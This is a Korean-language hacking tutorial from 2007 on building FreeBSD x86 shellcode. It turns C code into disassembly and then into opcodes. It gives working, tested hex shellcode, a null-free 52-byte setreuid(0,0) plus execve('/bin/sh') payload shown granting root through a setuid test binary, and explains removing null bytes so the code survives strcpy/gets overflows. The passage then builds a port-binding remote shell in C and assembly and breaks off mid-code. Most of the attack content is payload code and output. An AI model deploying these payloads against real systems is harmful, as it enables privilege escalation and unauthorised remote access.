FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다 ^^ 글을읽다가궁금하신점이있거나, 틀린부분을발견하신다면제이메일또는파워해커사이트로연락주세요 ~ 목차 I. 소개 1. 작업환경및사용하는툴소개 2. 작업순서 3. Linux 쉘코드와차이점 4. mkdir() 연습 II. Local 쉘코드 III. Bind 쉘코드 IV. Reverse 쉘코드 V. 참고자료
I. 소개 1. 작업환경및사용하는툴소개 [graylynx@freebsd62 ~]$ uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 [graylynx@freebsd62 ~]$ gcc -v Using built-in specs. Configured with: FreeBSD/i386 system compiler Thread model: posix gcc version 3.4.6 [FreeBSD] 20060305 [graylynx@freebsd62 ~]$ gdb -v GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-marcel-freebsd". [graylynx@freebsd62 ~]$ 2. 작업순서우리는다음과같은순서로쉘코드를만들겁니다. a. 실행하고자하는코드를 C 언어로작성 b. 위 C 코드를컴파일한바이너리의디어셈블리코드분석 c. 분석을통해필요한디어셈블리코드만추출하여, 다시어셈블리코드로작성 d. 작성한어셈블리코드를다시어셈블한뒤, 16진코드로변환 e. 0x00 문자또는필터링되는특정문자제거 f. 완성된쉘코드테스트 3. Linux 쉘코드와차이점 FreeBSD 와 Linux 모두 POSIX 표준을따른다해도커널내부는완전히다릅니다. 그렇기때문에같은컴파일러로컴파일을하더라도생성된바이너리에는많은차이점이존재합니다. 이차이점만잘이해한다면 Linux 쉘코드를 FreeBSD 용으로쉽게변환할수있습니다. 여기서는 mkdir() 함수에대한 FreeBSD 와 Linux 각각의디어셈블리코드를비교해봄으로써, 서로간의차이점을알아보겠습니다. 먼저실행하고자하는코드를 C 언어로작성합니다. [graylynx@freebsd62 ~/work/mkdir_op]$ cat mkdir.c main() { mkdir("powerhacker"); } [graylynx@freebsd62 ~/work/mkdir_op]$
gcc 로컴파일한뒤, gdb 로디어셈블리코드를추출합니다. ( 이때 static 옵션을줘야분석하기가편리합니다 ) FreeBSD [graylynx@freebsd62 ~/work/mkdir_op]$ gcc -static -o mkdir mkdir.c [graylynx@freebsd62 ~/work/mkdir_op]$ gdb -q mkdir (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: sub $0xc,%esp 0x080481d3 <main+31>: push $0x805b42a 0x080481d8 <main+36>: call 0x8049730 <mkdir> 0x080481dd <main+41>: add $0x10,%esp 0x080481e0 <main+44>: leave 0x080481e1 <main+45>: ret 0x080481e2 <main+46>: nop 0x080481e3 <main+47>: nop disas mkdir Dump of assembler code for function mkdir: 0x08049730 <mkdir+0>: mov $0x88,%eax 0x08049735 <mkdir+5>: int $0x80 0x08049737 <mkdir+7>: jb 0x8049728 <issetugid+12> 0x08049739 <mkdir+9>: ret 0x0804973a <mkdir+10>: nop 0x0804973b <mkdir+11>: nop Linux [graylynx@redhat9 mkdir_op]$ gcc static o mkdir mkdir.c [graylynx@redhat9 mkdir_op]$ gdb -q mkdir disas main Dump of assembler code for function main: 0x080481d0 <main+0>: push %ebp 0x080481d1 <main+1>: mov %esp,%ebp
0x080481d3 <main+3>: sub $0x8,%esp 0x080481d6 <main+6>: and $0xfffffff0,%esp 0x080481d9 <main+9>: mov $0x0,%eax 0x080481de <main+14>: sub %eax,%esp 0x080481e0 <main+16>: sub $0xc,%esp 0x080481e3 <main+19>: push $0x808ef68 0x080481e8 <main+24>: call 0x804db70 <mkdir> 0x080481ed <main+29>: add $0x10,%esp 0x080481f0 <main+32>: leave 0x080481f1 <main+33>: ret 0x080481f2 <main+34>: nop 0x080481f3 <main+35>: nop disas mkdir Dump of assembler code for function mkdir: 0x0804db70 <mkdir+0>: mov %ebx,%edx 0x0804db72 <mkdir+2>: mov 0x8(%esp,1),%ecx 0x0804db76 <mkdir+6>: mov 0x4(%esp,1),%ebx 0x0804db7a <mkdir+10>: mov $0x27,%eax 0x0804db7f <mkdir+15>: int $0x80 0x0804db81 <mkdir+17>: mov %edx,%ebx 0x0804db83 <mkdir+19>: cmp $0xfffff001,%eax 0x0804db88 <mkdir+24>: jae 0x804e4f0 < syscall_error> 0x0804db8e <mkdir+30>: ret 0x0804db8f <mkdir+31>: nop powerhacker 문자열을스택에 push 하고 mkdir 함수를호출하는코드는같습니다. 그런데 mkdir 함수가좀달라보이네요. 중요한부분만살펴보도록하겠습니다. Linux 에서는생성하고자하는디렉토리의이름 powerhacker 문자열을 ebx 레지스터에복사한뒤, mkdir 시스템콜을호출하지만, FreeBSD 에는이와같은코드가없습니다. 즉, 레지스터로인수를전달하는것이아니라시스템콜을호출할당시의 esp 레지스터값을참조하여 esp+4 주소에있는값을인수로인식합니다. FreeBSD x/s 0x805b42a 0x805b42a <_fini+86>: "powerhacker" b *mkdir+5 Breakpoint 1 at 0x8049735 r Starting program: /usr/home/graylynx/work/mkdir_op/mkdir Breakpoint 1, 0x08049735 in mkdir () info r esp esp 0xbfbfebec 0xbfbfebec
x/x $esp 0xbfbfebec: 0xbfbfebf0: 0x080481dd 0x0805b42a 위와같이 gdb 로확인해보면시스템콜을호출할때 ebp 레지스터 + 4 의위치에 powerhacker 문자열 ( 주소 : 0x805b42a) 이들어있음을알수있습니다. 4. mkdir() 연습이를토대로다시어셈블리코드로작성해보겠습니다. [graylynx@freebsd62 ~/work/mkdir_op]$ cat mkdir2.s.globl main main: jmp.ph mkdir: push $0 mov $0x88, %eax int $0x80 mov $1, %eax int $0x80 ret.ph: call mkdir.string "powerhacker" [graylynx@freebsd62 ~/work/mkdir_op]$ gcc mkdir2.s -o mkdir2 [graylynx@freebsd62 ~/work/mkdir_op]$./mkdir2 [graylynx@freebsd62 ~/work/mkdir_op]$ ls -la drwxr-xr-x 3 graylynx graylynx 512 6 13 13:58. drwxr-xr-x 5 graylynx graylynx 512 6 13 10:24.. -rwxr-xr-x 1 graylynx graylynx 140703 6 13 13:39 mkdir -rw-rr 1 graylynx graylynx 34 6 13 13:39 mkdir.c -rwxr-xr-x 1 graylynx graylynx 4553 6 13 13:58 mkdir2 -rw-rr 1 graylynx graylynx 157 6 13 13:57 mkdir2.s drwx-r 2 graylynx graylynx 512 6 13 13:58 powerhacker [graylynx@freebsd62 ~/work/mkdir_op]$ 성공적으로 powerhacker 폴더가만들어졌습니다. 약간의설명을덧붙이자면, call mkdir 을할때이미 powerhacker 문자열에대한주소가스택에 push 되므로 esp + 4 를위해더미값 4바이트만한번더 push 해주면됩니다. ( 위에서는 push $0) 또한 mov $1, %eax 와 int $0x80 명령어는프로그램의올바른종료를위해추가된 exit() 함수입니다.
II. Local 쉘코드그럼이제본격적으로쉘코드를만들어볼까요? 여기서는 /bin/sh 를실행시키는코드를작성해보겠습니다. 우선다음과같이해당코드를 C 언어로작성합니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh.c #include <stdio.h> int main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [graylynx@freebsd62 ~/work/local_sh]$ 컴파일한뒤, gdb 로분석합니다. [graylynx@freebsd62 ~/work/local_sh]$ gdb -q sh (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: movl $0x805b44a,0xfffffff8(%ebp) 0x080481d7 <main+35>: movl $0x0,0xfffffffc(%ebp) 0x080481de <main+42>: sub $0x4,%esp 0x080481e1 <main+45>: push $0x0 0x080481e3 <main+47>: lea 0xfffffff8(%ebp),%eax 0x080481e6 <main+50>: push %eax 0x080481e7 <main+51>: pushl 0xfffffff8(%ebp) 0x080481ea <main+54>: call 0x8048408 <execve> 0x080481ef <main+59>: add $0x10,%esp 0x080481f2 <main+62>: leave 0x080481f3 <main+63>: ret disas execve Dump of assembler code for function execve: 0x08048408 <execve+0>: mov $0x3b,%eax 0x0804840d <execve+5>: int $0x80
0x0804840f <execve+7>: jb 0x08048411 <execve+9>: ret 0x08048412 <execve+10>: nop 0x08048413 <execve+11>: nop 0x8048400 <_set_tp+12> 중요한코드만추출해보면다음과같이정리할수있습니다. 1. push $0x0 2. push (0x00 으로끝나는 /bin/sh 문자열과 NULL 포인터를담고있는포인터배열의주소 ) 3. push (0x00 으로끝나는 /bin/sh 문자열의주소 ) 4. mov $0x3b, %eax 5. int $0x80 이를다시어셈블리코드로작성합니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh2.s.globl main main: jmp binsh shell: pop %esi // esi = /bin/sh 문자열의주소 movb $0x0, 0x7(%esi) // 문자열뒤에 0x00 붙임 movl %esi, 0x8(%esi) // char *shell[2] 에해당하는포인터변수설정 // esi+8 위치에문자열의주소복사 movl $0x0, 0xc(%esi) // esi+12 위치에 NULL 포인터복사 pushl $0x0 // execve() 함수의 3번째인자 leal 0x8(%esi), %ebx // *shell 변수의주소 push %ebx // execve() 함수의 2번째인자 push %esi // execve() 함수의 1번째인자 pushl $0x0 // esp+4 를맞추기위한 dummy mov $0x3b, %eax // execve 시스템콜번호 int $0x80 // execve 시스템콜호출 mov $0x01, %eax // exit 시스템콜번호 int $0x80 // exit 시스템콜호출 binsh: call shell.string "/bin/sh" [graylynx@freebsd62 ~/work/local_sh]$ 위코드를어셈블한뒤, 16 진코드로변환합니다. [graylynx@freebsd62 ~/work/local_sh]$ gcc sh2.s -o sh2 [graylynx@freebsd62 ~/work/local_sh]$ objdump -d sh2
0804848c <main>: 804848c: eb 26 jmp 80484b4 <binsh> 0804848e <shell>: 804848e: 5e pop %esi 804848f: c6 46 07 00 movb $0x0,0x7(%esi) 8048493: 89 76 08 mov %esi,0x8(%esi) 8048496: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) 804849d: 6a 00 push $0x0 804849f: 8d 5e 08 lea 0x8(%esi),%ebx 80484a2: 53 push %ebx 80484a3: 56 push %esi 80484a4: 6a 00 push $0x0 80484a6: b8 3b 00 00 00 mov $0x3b,%eax 80484ab: cd 80 int $0x80 80484ad: b8 01 00 00 00 mov $0x1,%eax 80484b2: cd 80 int $0x80 080484b4 <binsh>: 80484b4: e8 d5 ff ff ff call 804848e <shell> 80484b9: 2f das 80484ba: 62 69 6e bound %ebp,0x6e(%ecx) 80484bd: 2f das 80484be: 73 68 jae 8048528 <_fini+0x40> 위에서 op 코드부분만추출하여, C 언어가인식할수있게바꾸면다음과같은코드가됩니다. "\xeb\x26\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00" "\x6a\x00\x8d\x5e\x08\x53\x56\x6a\x00\xb8\x3b\x00\x00\x00\xcd\x80\xb8" "\x01\x00\x00\x00\xcd\x80\xe8\xd5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 제대로작동하는지테스트해볼까요? [graylynx@freebsd62 ~/work/local_sh]$ cat sh2_op.c char sh[] = " xeb x26 x5e xc6 x46 x07 x00 x89 x76 x08 xc7 x46 x0c x00 x00 x00 x00" " x6a x00 x8d x5e x08 x53 x56 x6a x00 xb8 x3b x00 x00 x00 xcd x80 xb8" " x01 x00 x00 x00 xcd x80 xe8 xd5 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh2_op.c -o sh2_op [graylynx@freebsd62 ~/work/local_sh]$ su
Password: [root@freebsd62 /home/graylynx/work/local_sh]# chown root sh2_op; chmod 4755 sh2_op [root@freebsd62 /home/graylynx/work/local_sh]# exit [graylynx@freebsd62 ~/work/local_sh]$./sh2_op # id uid=1001(graylynx) gid=1001(graylynx) euid=0(root) groups=1001(graylynx), 0(wheel) # 작동은되지만 uid 가기존의값으로설정되어서실질적으로 root 권한을가질수없습니다. 쉘코드에 setreuid(0, 0) 부분을추가해줍니다. ( 자세한설명은생략 ) [graylynx@freebsd62 ~/work/local_sh]$ cat setreuid.c main() { setreuid(0, 0); } [graylynx@freebsd62 ~/work/local_sh]$ gcc -static setreuid.c -o setreuid [graylynx@freebsd62 ~/work/local_sh]$ gdb -q setreuid (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: sub $0x8,%esp 0x080481d3 <main+31>: push $0x0 0x080481d5 <main+33>: push $0x0 0x080481d7 <main+35>: call 0x80483ec <setreuid> 0x080481dc <main+40>: add $0x10,%esp 0x080481df <main+43>: leave 0x080481e0 <main+44>: ret 0x080481e1 <main+45>: nop 0x080481e2 <main+46>: nop 0x080481e3 <main+47>: nop disas setreuid Dump of assembler code for function setreuid: 0x080483ec <setreuid+0>: mov $0x7e,%eax 0x080483f1 <setreuid+5>: int $0x80 0x080483f3 <setreuid+7>: jb 0x80483e4 <_init_tls+196> 0x080483f5 <setreuid+9>: ret 0x080483f6 <setreuid+10>: nop
0x080483f7 <setreuid+11>: nop setreuid() 함수의어셈블리코드는다음과같습니다. push $0x0 push $0x0 push $0x0 // esp+4 를위한 dummy mov $0x7e,%eax int $0x80 아까만든쉘코드의앞부분에추가해준뒤, 16 진코드로변환합니다. [graylynx@freebsd62 ~/work/local_sh]$ objdump -d sh3.. 0804848c <main>: 804848c: eb 33 jmp 80484c1 <binsh> 0804848e <shell>: 804848e: 5e pop %esi 804848f: 6a 00 push $0x0 8048491: 6a 00 push $0x0 8048493: 6a 00 push $0x0 8048495: b8 7e 00 00 00 mov $0x7e,%eax 804849a: cd 80 int $0x80 804849c: c6 46 07 00 movb $0x0,0x7(%esi) 80484a0: 89 76 08 mov %esi,0x8(%esi) 80484a3: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) 80484aa: 6a 00 push $0x0 80484ac: 8d 5e 08 lea 0x8(%esi),%ebx 80484af: 53 push %ebx 80484b0: 56 push %esi 80484b1: 6a 00 push $0x0 80484b3: b8 3b 00 00 00 mov $0x3b,%eax 80484b8: cd 80 int $0x80 80484ba: b8 01 00 00 00 mov $0x1,%eax 80484bf: cd 80 int $0x80 080484c1 <binsh>: 80484c1: e8 c8 ff ff ff call 804848e <shell> 80484c6: 2f das 80484c7: 62 69 6e bound %ebp,0x6e(%ecx) 80484ca: 2f das 80484cb: 73 68 jae 8048535 <_fini+0x41>..
만들어진쉘코드를테스트해보겠습니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh3_op.c char sh[] = " xeb x33 x5e x6a x00 x6a x00 x6a x00 xb8 x7e x00 x00 x00 xcd x80" " xc6 x46 x07 x00 x89 x76 x08 xc7 x46 x0c x00 x00 x00 x00 x6a x00" " x8d x5e x08 x53 x56 x6a x00 xb8 x3b x00 x00 x00 xcd x80 xb8 x01" " x00 x00 x00 xcd x80 xe8 xc8 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh3_op.c -o sh3_op [graylynx@freebsd62 ~/work/local_sh]$ su Password: [root@freebsd62 /home/graylynx/work/local_sh]# chown root sh3_op; chmod 4755 sh3_op [root@freebsd62 /home/graylynx/work/local_sh]# exit [graylynx@freebsd62 ~/work/local_sh]$./sh3_op # id uid=0(root) gid=0(wheel) egid=1001(graylynx) groups=1001(graylynx), 0(wheel) # 우리의목적대로 uid 를 0 으로만들었습니다. 하지만이쉘코드도완벽하진않습니다. 왜냐면, 0x00 이코드내에포함되어있기때문이죠. ( 위의코드에서진하게적혀있는 00 들..) 우리가쉘코드를삽입하고자하는프로그램은보통 strcpy() 나 gets() 등의문자열함수를통해입력을받기때문에, 코드중간에 0x00 이포함되어있다면그앞부분까지만입력이되고나머지코드들은잘리게됩니다. 완벽한쉘코드를만드려면코드내에포함되어있는모든 0x00 을제거해야합니다. 사실제거작업은간단합니다. 0x00 이포함된코드를같은동작을하는다른코드로바꿔주기만하면됩니다. 예를들어 pushl $0 명령은 xor %eax, %eax 와 push %eax 로바꿔표현할수있습니다. 0x00 이제거된코드는다음과같습니다. [graylynx@freebsd62 ~/work/local_sh]$ objdump -d sh4 0804848c <main>: 804848c: eb 26 jmp 80484b4 <binsh> 0804848e <shell>:
804848e: 5e pop %esi 804848f: 31 c0 xor %eax,%eax 8048491: 50 push %eax 8048492: 50 push %eax 8048493: 50 push %eax 8048494: b0 7e mov $0x7e,%al 8048496: cd 80 int $0x80 8048498: 31 c0 xor %eax,%eax 804849a: 88 46 07 mov %al,0x7(%esi) 804849d: 89 76 08 mov %esi,0x8(%esi) 80484a0: 89 46 0c mov %eax,0xc(%esi) 80484a3: ff 76 0c pushl 0xc(%esi) 80484a6: 8d 5e 08 lea 0x8(%esi),%ebx 80484a9: 53 push %ebx 80484aa: 56 push %esi 80484ab: 50 push %eax 80484ac: b0 3b mov $0x3b,%al 80484ae: cd 80 int $0x80 80484b0: b0 01 mov $0x1,%al 80484b2: cd 80 int $0x80 080484b4 <binsh>: 80484b4: e8 d5 ff ff ff call 804848e <shell> 80484b9: 2f das 80484ba: 62 69 6e bound %ebp,0x6e(%ecx) 80484bd: 2f das 80484be: 73 68 jae 8048528 <_fini+0x40> 그럼최종적으로만들어진쉘코드를테스트해보겠습니다. [graylynx@freebsd62 ~/work/local_sh]$ cat sh4_op.c char sh[] = " xeb x26 x5e x31 xc0 x50 x50 x50 xb0 x7e xcd x80 x31 xc0 x88 x46 x07" " x89 x76 x08 x89 x46 x0c xff x76 x0c x8d x5e x08 x53 x56 x50 xb0 x3b" " xcd x80 xb0 x01 xcd x80 xe8 xd5 xff xff xff x2f x62 x69 x6e x2f x73 x68"; main() { printf("length = %d bytes n", strlen(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/local_sh]$ gcc sh4_op.c -o sh4_op [graylynx@freebsd62 ~/work/local_sh]$ su Password: [root@freebsd62 /home/graylynx/work/local_sh]# chown root sh4_op; chmod 4755 sh4_op [root@freebsd62 /home/graylynx/work/local_sh]# exit [graylynx@freebsd62 ~/work/local_sh]$./sh4_op Length = 52 bytes
# id uid=0(root) gid=0(wheel) egid=1001(graylynx) groups=1001(graylynx), 0(wheel) # 잘작동하네요. :) 쉘코드를만드는것자체는방법만알면그리어렵지않습니다. 중요한건그안에어떤참신한코드를가지고있느냐죠. 곧이어설명할 Bind 쉘코드와 Reverse 쉘코드를통해서 -우리가원하는- 좀더고급스러운쉘코드를만들어보도록하겠습니다. III. Bind 쉘코드 Bind 쉘코드는소켓을생성하고, 포트를열고, 패킷수신을기다리다가요청이들어오면 /bin/sh 에대한입출력을연결해주는일을하게됩니다. 일단 C 언어로작성해봐야겠죠? [graylynx@freebsd62 ~/work/bind_sh]$ cat bind_sh.c #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 0x7700 int serv_sock; int clnt_sock; struct sockaddr_in serv_addr; char *sh[2] = {"/bin/sh", NULL}; int main() { if(fork() == 0) { serv_sock = socket(pf_inet, SOCK_STREAM, 0); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); bind(serv_sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(serv_sock, 1); clnt_sock = accept(serv_sock, NULL, NULL); dup2(clnt_sock, 0); dup2(clnt_sock, 1); dup2(clnt_sock, 2); execve(sh[0], sh, 0); } } [graylynx@freebsd62 ~/work/bind_sh]$
컴파일한뒤, gdb 로분석해보도록하죠. 분석하기쉽게함수별로따로분석한다음, 나중에하나의코드로합치도록하겠습니다. 먼저 main() 함수 [graylynx@freebsd62 ~/work/bind_sh]$ gcc -static bind_sh.c -o bind_sh [graylynx@freebsd62 ~/work/bind_sh]$ gdb -q bind_sh (no debugging symbols found)... disas main Dump of assembler code for function main: 0x080481b4 <main+0>: push %ebp 0x080481b5 <main+1>: mov %esp,%ebp 0x080481b7 <main+3>: sub $0x8,%esp 0x080481ba <main+6>: and $0xfffffff0,%esp 0x080481bd <main+9>: mov $0x0,%eax 0x080481c2 <main+14>: add $0xf,%eax 0x080481c5 <main+17>: add $0xf,%eax 0x080481c8 <main+20>: shr $0x4,%eax 0x080481cb <main+23>: shl $0x4,%eax 0x080481ce <main+26>: sub %eax,%esp 0x080481d0 <main+28>: call 0x8048508 <fork> 0x080481d5 <main+33>: test %eax,%eax 0x080481d7 <main+35>: jne 0x80482b8 <main+260> 0x080481dd <main+41>: sub $0x4,%esp 0x080481e0 <main+44>: push $0x0 0x080481e2 <main+46>: push $0x1 0x080481e4 <main+48>: push $0x2 0x080481e6 <main+50>: call 0x8049864 <socket> 0x080481eb <main+55>: add $0x10,%esp 0x080481ee <main+58>: mov %eax,0x8062cc4 0x080481f3 <main+63>: movb $0x2,0x8062ccd 0x080481fa <main+70>: sub $0xc,%esp 0x080481fd <main+73>: push $0x0 0x080481ff <main+75>: call 0x80482d4 < bswap32> 0x08048204 <main+80>: add $0x10,%esp 0x08048207 <main+83>: mov %eax,0x8062cd0 0x0804820c <main+88>: sub $0xc,%esp 0x0804820f <main+91>: push $0x7700 0x08048214 <main+96>: call 0x80482bc < bswap16> 0x08048219 <main+101>: add $0x10,%esp 0x0804821c <main+104>: mov %ax,0x8062cce 0x08048222 <main+110>: sub $0x4,%esp 0x08048225 <main+113>: push $0x10 0x08048227 <main+115>: push $0x8062ccc 0x0804822c <main+120>: pushl 0x8062cc4 0x08048232 <main+126>: call 0x8049800 <bind> 0x08048237 <main+131>: add $0x10,%esp 0x0804823a <main+134>: sub $0x8,%esp 0x0804823d <main+137>: push $0x1 0x0804823f <main+139>: pushl 0x8062cc4
0x08048245 <main+145>: call 0x80497d8 <listen> 0x0804824a <main+150>: add $0x10,%esp 0x0804824d <main+153>: sub $0x4,%esp 0x08048250 <main+156>: push $0x0 0x08048252 <main+158>: push $0x0 0x08048254 <main+160>: pushl 0x8062cc4 0x0804825a <main+166>: call 0x80497ec <accept> 0x0804825f <main+171>: add $0x10,%esp 0x08048262 <main+174>: mov %eax,0x8062cc8 0x08048267 <main+179>: sub $0x8,%esp 0x0804826a <main+182>: push $0x0 0x0804826c <main+184>: pushl 0x8062cc8 0x08048272 <main+190>: call 0x80497c4 <dup2> 0x08048277 <main+195>: add $0x10,%esp 0x0804827a <main+198>: sub $0x8,%esp 0x0804827d <main+201>: push $0x1 0x0804827f <main+203>: pushl 0x8062cc8 0x08048285 <main+209>: call 0x80497c4 <dup2> 0x0804828a <main+214>: add $0x10,%esp 0x0804828d <main+217>: sub $0x8,%esp 0x08048290 <main+220>: push $0x2 0x08048292 <main+222>: pushl 0x8062cc8 0x08048298 <main+228>: call 0x80497c4 <dup2> 0x0804829d <main+233>: add $0x10,%esp 0x080482a0 <main+236>: sub $0x4,%esp 0x080482a3 <main+239>: push $0x0 0x080482a5 <main+241>: push $0x805e00c 0x080482aa <main+246>: pushl 0x805e00c 0x080482b0 <main+252>: call 0x80484f4 <execve> 0x080482b5 <main+257>: add $0x10,%esp 0x080482b8 <main+260>: leave 0x080482b9 <main+261>: ret 0x080482ba <main+262>: mov %esi,%esi fork() 함수 disas fork Dump of assembler code for function fork: 0x080489e4 <fork+0>: mov $0x2,%eax 0x080489e9 <fork+5>: int $0x80 0x080489eb <fork+7>: jb 0x80489dc <execve+12> 0x080489ed <fork+9>: ret 0x080489ee <fork+10>: nop 0x080489ef <fork+11>: nop
socket() 함수 disas socket Dump of assembler code for function socket: 0x08049d84 <socket+0>: mov $0x61,%eax 0x08049d89 <socket+5>: int $0x80 0x08049d8b <socket+7>: jb 0x8049d7c <getprogname+12> 0x08049d8d <socket+9>: ret 0x08049d8e <socket+10>: nop 0x08049d8f <socket+11>: nop bswap32() 함수 disas bswap32 Dump of assembler code for function bswap32: 0x080482d4 < bswap32+0>: push %ebp 0x080482d5 < bswap32+1>: mov %esp,%ebp 0x080482d7 < bswap32+3>: mov 0x8(%ebp),%eax 0x080482da < bswap32+6>: bswap %eax 0x080482dc < bswap32+8>: leave 0x080482dd < bswap32+9>: ret 0x080482de < bswap32+10>: nop 0x080482df < bswap32+11>: nop bswap16() 함수 disas bswap16 Dump of assembler code for function bswap16: 0x080482bc < bswap16+0>: push %ebp 0x080482bd < bswap16+1>: mov %esp,%ebp 0x080482bf < bswap16+3>: sub $0x4,%esp 0x080482c2 < bswap16+6>: mov 0x8(%ebp),%eax 0x080482c5 < bswap16+9>: mov %ax,0xfffffffe(%ebp) 0x080482c9 < bswap16+13>: mov 0xfffffffe(%ebp),%ax 0x080482cd < bswap16+17>: xchg %ah,%al 0x080482cf < bswap16+19>: movzwl %ax,%eax 0x080482d2 < bswap16+22>: leave 0x080482d3 < bswap16+23>: ret bind() 함수
disas bind Dump of assembler code for function bind: 0x08049cdc <bind+0>: mov $0x68,%eax 0x08049ce1 <bind+5>: int $0x80 0x08049ce3 <bind+7>: jb 0x8049cd4 <accept+12> 0x08049ce5 <bind+9>: ret 0x08049ce6 <bind+10>: nop 0x08049ce7 <bind+11>: nop listen() 함수 disas listen Dump of assembler code for function listen: 0x08049cb4 <listen+0>: mov $0x6a,%eax 0x08049cb9 <listen+5>: int $0x80 0x08049cbb <listen+7>: jb 0x8049cac <dup2+12> 0x08049cbd <listen+9>: ret 0x08049cbe <listen+10>: nop 0x08049cbf <listen+11>: nop 0x08049cc0 <listen+12>: jmp 0x8053474 <.cerror> 0x08049cc5 <listen+17>: lea 0x0(%esi),%esi accept() 함수 disas accept Dump of assembler code for function accept: 0x08049cc8 <accept+0>: mov $0x1e,%eax 0x08049ccd <accept+5>: int $0x80 0x08049ccf <accept+7>: jb 0x8049cc0 <listen+12> 0x08049cd1 <accept+9>: ret 0x08049cd2 <accept+10>: nop 0x08049cd3 <accept+11>: nop 0x08049cd4 <accept+12>: jmp 0x8053474 <.cerror> 0x08049cd9 <accept+17>: lea 0x0(%esi),%esi dup2() 함수 disas dup2 Dump of assembler code for function dup2:
0x08049ca0 <dup2+0>: mov $0x5a,%eax 0x08049ca5 <dup2+5>: int $0x80 0x08049ca7 <dup2+7>: jb 0x8049c98 <err+6> 0x08049ca9 <dup2+9>: ret 0x08049caa <dup2+10>: nop 0x08049cab <dup2+11>: nop 0x08049cac <dup2+12>: jmp 0x8053474 <.cerror> 0x08049cb1 <dup2+17>: lea 0x0(%esi),%esi execve() 함수 disas execve Dump of assembler code for function execve: 0x080484f4 <execve+0>: mov $0x3b,%eax 0x080484f9 <execve+5>: int $0x80 0x080484fb <execve+7>: jb 0x80484ec <_set_tp+12> 0x080484fd <execve+9>: ret 0x080484fe <execve+10>: nop 0x080484ff <execve+11>: nop 0x08048500 <execve+12>: jmp 0x8052ec4 <.cerror> 0x08048505 <execve+17>: lea 0x0(%esi),%esi 위코드들을쉘코드로작동하게끔다시어셈블하면다음과같은코드가됩니다. [graylynx@freebsd62 ~/work/bind_sh]$ cat bind_sh2.s.globl main main: call fork test %eax, %eax jnz exit call eoc start: pop %esi // esi = 변수들의 base 주소 pushl $0x0 pushl $0x1 pushl $0x2 call socket // socket(pf_inet, SOCK_STREAM, 0); mov %eax, (%esi) // serv_sock 저장 add $0xc, %esp movb $0x2, 0x9(%esi) // serv_addr.sin_family = AF_INET; movb $0x77, 0xa(%esi) // serv_addr.sin_port = htons(0x7700);
